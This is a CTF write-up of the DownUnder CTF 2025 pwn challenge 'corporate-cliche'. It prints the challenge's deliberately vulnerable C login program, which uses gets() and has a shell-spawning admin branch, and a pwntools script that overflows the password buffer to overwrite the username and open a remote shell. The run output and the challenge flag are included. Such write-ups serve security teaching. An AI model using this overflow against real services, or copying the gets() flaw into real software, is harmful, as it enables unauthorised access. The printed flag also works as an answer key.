corporate-cliche

A CTF writeup hosting site by Raahguu

DownUnder - 2025

corporate-cliche

By Raahguu (Joshua Finlayson)10 min read

Description

Dear Raahguu,

It’s time to really push the envelope and go above and beyond! We’ve got a new challenge for you. Can you find a way to get into our email server?

Regards, Blue Alder

The description then provided the source code and binary, along with an nc command to remotely connect to the binary that had the actual flag

Solution

The source code written in c was:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void open_admin_session() {
    printf("-> Admin login successful. Opening shell...\n");
    system("/bin/sh");
    exit(0);
}

void print_email() {
    printf(" ______________________________________________________________________\n");
    printf("| To:      all-staff@downunderctf.com                                  |\n");
    printf("| From:    synergy-master@downunderctf.com                             |\n");
    printf("| Subject: Action Item: Leveraging Synergies                           |\n");
    printf("|______________________________________________________________________|\n");
    printf("|                                                                      |\n");
    printf("| Per my last communication, I'm just circling back to action the      |\n");
    printf("| sending of this email to leverage our synergies. Let's touch base    |\n");
    printf("| offline to drill down on the key takeaways and ensure we are all     |\n");
    printf("| aligned on this new paradigm. Moving forward, we need to think       |\n");
    printf("| outside the box to optimize our workflow and get the ball rolling.   |\n");
    printf("|                                                                      |\n");
    printf("| Best,                                                                |\n");
    printf("| A. Manager                                                           |\n");
    printf("|______________________________________________________________________|\n");
    exit(0);
}

const char* logins[][2] = {
    {"admin", "🇦🇩🇲🇮🇳"},
    {"guest", "guest"},
};

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char password[32];
    char username[32];

    printf("┌──────────────────────────────────────┐\n");
    printf("│      Secure Email System v1.337      │\n");
    printf("└──────────────────────────────────────┘\n\n");

    printf("Enter your username: ");
    fgets(username, sizeof(username), stdin);
    username[strcspn(username, "\n")] = 0;

    if (strcmp(username, "admin") == 0) {
        printf("-> Admin login is disabled. Access denied.\n");
        exit(0);
    }

    printf("Enter your password: ");
    gets(password);

    for (int i = 0; i < sizeof(logins) / sizeof(logins[0]); i++) {
        if (strcmp(username, logins[i][0]) == 0) {
            if (strcmp(password, logins[i][1]) == 0) {
                printf("-> Password correct. Access granted.\n");
                if (strcmp(username, "admin") == 0) {
                    open_admin_session();
                } else {
                    print_email();
                }
            } else {
                printf("-> Incorrect password for user '%s'. Access denied.\n", username);
                exit(1);
            }
        }
    }
    printf("-> Login failed. User '%s' not recognized.\n", username);
    exit(1);
}

This code reveals a program where you are prompted for a username, and password. Then if your username and password meet the hardcoded admin credentials, you get remote access to the machine.

The trick with this program though, is that if you enter the username admin you get kicked out from the connection, and so cannot just login normally.

The key to this challenge is that the password buffer is stored right before the username buffer in memory, and the input for the password uses gets

gets is a depricated way to get user input as it does not have a way to restrict the user’s input length, and therefore is liable to have the user do buffer overflow within it, in this case buffer overflow from password would go into username

So If we enter a username, say Raahguu then that username will pass the is username admin check, and then by inputting a password that overflows its buffer into username, we can overwrite the olf username value of e with a new value admin

Then if the username is admin and the password is 🇦🇩🇲🇮🇳 then we log in as admin and get remote shell to read the flag.

To execute this buffer overflow, we just need to input the password 🇦🇩🇲🇮🇳 which is already 20 bytes long due to the 5 4-byte long characters. As the password buffer is 32 bytes long, and we already input 20 we just need to input 12 more bytes.

Now as the password needs to remain the same, we need to tell the program that our string ends after the 20th byte, which we can do by inputing a null bytes \x00 and then we just need to input 11 more bytes. Afterwards, we are writing into the username buffer and need to pass in admin and then another null byte \x00 to tell the program the username ends there.

Now instead of inputting that all myself, I wrote a python program to do it for me:

# Import Pwn Tools
from pwn import *

# nc values
host = "chal.2025.ductf.net"
port = 30000

# Connect to the remote service
conn = remote(host, port)

# Send username
conn.sendline(b"Raahguu")

# Buffer overflow: actual password + 12 null bytes + "admin" + null byte
password = "🇦🇩🇲🇮🇳".encode("utf-8") + b"\x00"*12 + b"admin" + b"\x00"
conn.sendline(password)

# Give me interactive control
conn.interactive()

Running this automates the username and password process, and then gives me control of the nc session once we have a remote shell. Running it gets the following output.

$ python solver.py
[+] Opening connection to chal.2025.ductf.net on port 30000: Done
[*] Switching to interactive mode
┌──────────────────────────────────────┐
│      Secure Email System v1.337      │
└──────────────────────────────────────┘

Enter your username: Enter your password: -> Password correct. Access granted.
-> Admin login successful. Opening shell...
$ ls
flag.txt
get-flag
pwn
$ cat flag.txt
DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}

And there’s the flag DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}

tags: Pwn
Back